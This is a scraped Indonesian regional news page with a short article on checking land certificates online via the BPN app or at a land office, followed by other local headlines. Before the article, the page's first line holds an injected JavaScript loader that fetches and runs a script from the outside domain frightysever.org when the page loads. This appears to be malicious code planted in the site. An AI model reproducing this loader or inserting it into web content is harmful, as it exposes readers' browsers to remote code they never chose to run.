(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANAKALJMANTAN.COM, BANJARBARU – Cara Cek sertifikat tidak sulit, saat ini, kita bisa melakukan hal tersebut secara online melalui aplikasi BPN, situs resmi, ataupun langsung mendatangi kantor pertanahan setempat.
Syarat dan ketentuan mengecek sertifikat tanah juga cukup mudah. Jika dilakukan secara online, anda bisa mengunduh aplikasi tersebut terlebih dahulu, lalu masukan informasi mengenai data lahan.
Bila lebih memilih cara offline, maka anda harus mengisi informasi data tersebut secara langsung pada formulir pengajuan yang tersedia di kantor pertanahan terdekat.
Tidak sulit, kedua cara cek sertifikat tanah ini bisa dilakukan dalam waktu beberapa menit saja. Supaya lebih jelas, simak panduan lengkapnya pada penjabaran berikut dalam infografis.
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.